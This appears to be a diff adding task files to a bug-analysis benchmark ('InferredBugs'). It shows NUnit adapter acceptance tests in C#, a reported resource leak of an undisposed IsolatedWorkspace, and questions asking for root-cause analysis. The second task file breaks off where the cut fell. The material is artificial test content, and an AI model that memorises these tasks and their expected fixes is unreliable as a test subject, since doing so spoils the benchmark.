+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_vbproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_csproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_csproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Multi_target_vbproj()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", TargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(
+                from targetFramework in TargetFrameworks
+                select $@"bin\Debug\{targetFramework}\Test.dll")
+                .AssertSinglePassingTest();
+        }
+
+        [Test]
+        public static void Multi_target_vbproj_dotnet_CLI()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFrameworks>{string.Join(";", DotNetCliTargetFrameworks)}</TargetFrameworks>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace();
+            var nuvers = NuGetPackageVersion;
+            workspace.AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{25455E6C-F4D9-41B7-A227-1527D93799B0}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{nuvers}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            var result = workspace.VSTest(new[] { @"bin\Debug\Test.dll" });
+            result.AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_PackageReference()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{C5C80224-B87B-4783-8CE1-45D64D940AAD}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>{LegacyProjectTargetFrameworkVersion}</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk'>
+                          <Version>15.9.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit'>
+                          <Version>3.11.0</Version>
+                        </PackageReference>
+                        <PackageReference Include='NUnit3TestAdapter'>
+                          <Version>{NuGetPackageVersion}</Version>
+                        </PackageReference>
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                    </Project>");
+
+            AddTestsVb(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        private static void AddPackagesConfig(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("packages.config", $@"
+                <?xml version='1.0' encoding='utf-8'?>
+                <packages>
+                    <package id='Microsoft.CodeCoverage' version='15.9.0' targetFramework='net45' />
+                    <package id='Microsoft.NET.Test.Sdk' version='15.9.0' targetFramework='net45' />
+                    <package id='NUnit' version='3.11.0' targetFramework='net45' />
+                    <package id='NUnit3TestAdapter' version='{NuGetPackageVersion}' targetFramework='net45' />
+                </packages>");
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_csproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{107E3C5F-61D7-439E-8B8D-8BF4C9506F06}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <AppDesignerFolder>Properties</AppDesignerFolder>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <FileAlignment>512</FileAlignment>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <Optimize>false</Optimize>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DefineConstants>DEBUG;TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DefineConstants>TRACE</DefineConstants>
+                        <ErrorReport>prompt</ErrorReport>
+                        <WarningLevel>4</WarningLevel>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='Microsoft.CSharp' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Net.Http' />
+                        <Reference Include='System.Xml' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.cs' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.CSharp.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsCs(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [Test, Platform("Win")]
+        public static void Legacy_vbproj_with_packages_config()
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <?xml version='1.0' encoding='utf-8'?>
+                    <Project ToolsVersion='15.0' xmlns='http://schemas.microsoft.com/developer/msbuild/2003'>
+                      <Import Project='packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props' Condition=""Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" />
+                      <Import Project='packages\NUnit.3.11.0\build\NUnit.props' Condition=""Exists('packages\NUnit.3.11.0\build\NUnit.props')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" />
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" />
+                      <Import Project='$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props' Condition=""Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')"" />
+                      <PropertyGroup>
+                        <Configuration Condition="" '$(Configuration)' == '' "">Debug</Configuration>
+                        <Platform Condition="" '$(Platform)' == '' "">AnyCPU</Platform>
+                        <ProjectGuid>{{70AE110C-1736-45F4-8941-5AA3435B7B49}}</ProjectGuid>
+                        <OutputType>Library</OutputType>
+                        <RootNamespace>Test</RootNamespace>
+                        <AssemblyName>Test</AssemblyName>
+                        <FileAlignment>512</FileAlignment>
+                        <MyType>Windows</MyType>
+                        <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
+                        <Deterministic>true</Deterministic>
+                        <NuGetPackageImportStamp>
+                        </NuGetPackageImportStamp>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "">
+                        <DebugSymbols>true</DebugSymbols>
+                        <DebugType>full</DebugType>
+                        <DefineDebug>true</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <OutputPath>bin\Debug\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup Condition="" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "">
+                        <DebugType>pdbonly</DebugType>
+                        <DefineDebug>false</DefineDebug>
+                        <DefineTrace>true</DefineTrace>
+                        <Optimize>true</Optimize>
+                        <OutputPath>bin\Release\</OutputPath>
+                        <DocumentationFile>Test.xml</DocumentationFile>
+                        <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionExplicit>On</OptionExplicit>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionCompare>Binary</OptionCompare>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionStrict>Off</OptionStrict>
+                      </PropertyGroup>
+                      <PropertyGroup>
+                        <OptionInfer>On</OptionInfer>
+                      </PropertyGroup>
+                      <ItemGroup>
+                        <Reference Include='Microsoft.VisualStudio.CodeCoverage.Shim, Version=15.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL'>
+                          <HintPath>packages\Microsoft.CodeCoverage.15.9.0\lib\net45\Microsoft.VisualStudio.CodeCoverage.Shim.dll</HintPath>
+                        </Reference>
+                        <Reference Include='nunit.framework, Version=3.11.0.0, Culture=neutral, PublicKeyToken=2638cd05610744eb, processorArchitecture=MSIL'>
+                          <HintPath>packages\NUnit.3.11.0\lib\net45\nunit.framework.dll</HintPath>
+                        </Reference>
+                        <Reference Include='System' />
+                        <Reference Include='System.Data' />
+                        <Reference Include='System.Xml' />
+                        <Reference Include='System.Core' />
+                        <Reference Include='System.Xml.Linq' />
+                        <Reference Include='System.Data.DataSetExtensions' />
+                        <Reference Include='System.Net.Http' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Import Include='Microsoft.VisualBasic' />
+                        <Import Include='System' />
+                        <Import Include='System.Collections' />
+                        <Import Include='System.Collections.Generic' />
+                        <Import Include='System.Data' />
+                        <Import Include='System.Diagnostics' />
+                        <Import Include='System.Linq' />
+                        <Import Include='System.Xml.Linq' />
+                        <Import Include='System.Threading.Tasks' />
+                      </ItemGroup>
+                      <ItemGroup>
+                        <Compile Include='Tests.vb' />
+                        <None Include='packages.config' />
+                      </ItemGroup>
+                      <Import Project='$(MSBuildToolsPath)\Microsoft.VisualBasic.targets' />
+                      <Target Name='EnsureNuGetPackageBuildImports' BeforeTargets='PrepareForBuild'>
+                        <PropertyGroup>
+                          <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {{0}}.</ErrorText>
+                        </PropertyGroup>
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.props'))"" />
+                        <Error Condition=""!Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets'))"" />
+                        <Error Condition=""!Exists('packages\NUnit.3.11.0\build\NUnit.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit.3.11.0\build\NUnit.props'))"" />
+                        <Error Condition=""!Exists('packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props')"" Text=""$([System.String]::Format('$(ErrorText)', 'packages\NUnit3TestAdapter.{NuGetPackageVersion}\build\{LowestNetfxTarget}\NUnit3TestAdapter.props'))"" />
+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsVb(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace NUnit.VisualStudio.TestAdapter.Tests.Acceptance.AcceptanceTests::CreateWorkspace() at Line 326) of type NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace in method "Void SinglePassingTestResultTests.Legacy_vbproj_with_PackageReference()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SinglePassingTestResultTests.Legacy_vbproj_with_PackageReference()
+
+### File:
+src/NUnit.TestAdapter.Tests.Acceptance/SinglePassingTestResultTests.cs
+
+### Key:
+SinglePassingTestResultTests.cs|Legacy_vbproj_with_PackageReference|DOTNET_RESOURCE_LEAK
+
+### Hash:
+7423b53fdb6bf4b466056aee3478837f
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1019/instruction.md b/inferredbugs-1019/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e7f9f0bdcfddf8845d833df897c741f5b5669541
--- /dev/null
+++ b/inferredbugs-1019/instruction.md
@@ -0,0 +1,690 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** nunit3-vs-adapter
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq;
+using NUnit.Framework;
+using NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools;
+
+namespace NUnit.VisualStudio.TestAdapter.Tests.Acceptance
+{
+    public sealed class SinglePassingTestResultTests : AcceptanceTests
+    {
+        private static void AddTestsCs(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.cs", @"
+                using NUnit.Framework;
+
+                namespace Test
+                {
+                    public class Tests
+                    {
+                        [Test]
+                        public void PassingTest()
+                        {
+                            Assert.Pass();
+                        }
+                    }
+                }");
+        }
+
+        private static void AddTestsVb(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.vb", @"
+                Imports NUnit.Framework
+
+                Namespace Test
+                    Public Class Tests
+
+                        <Test>
+                        Public Sub PassingTest()
+                            Assert.Pass()
+                        End Sub
+
+                    End Class
+                End Namespace");
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_csproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
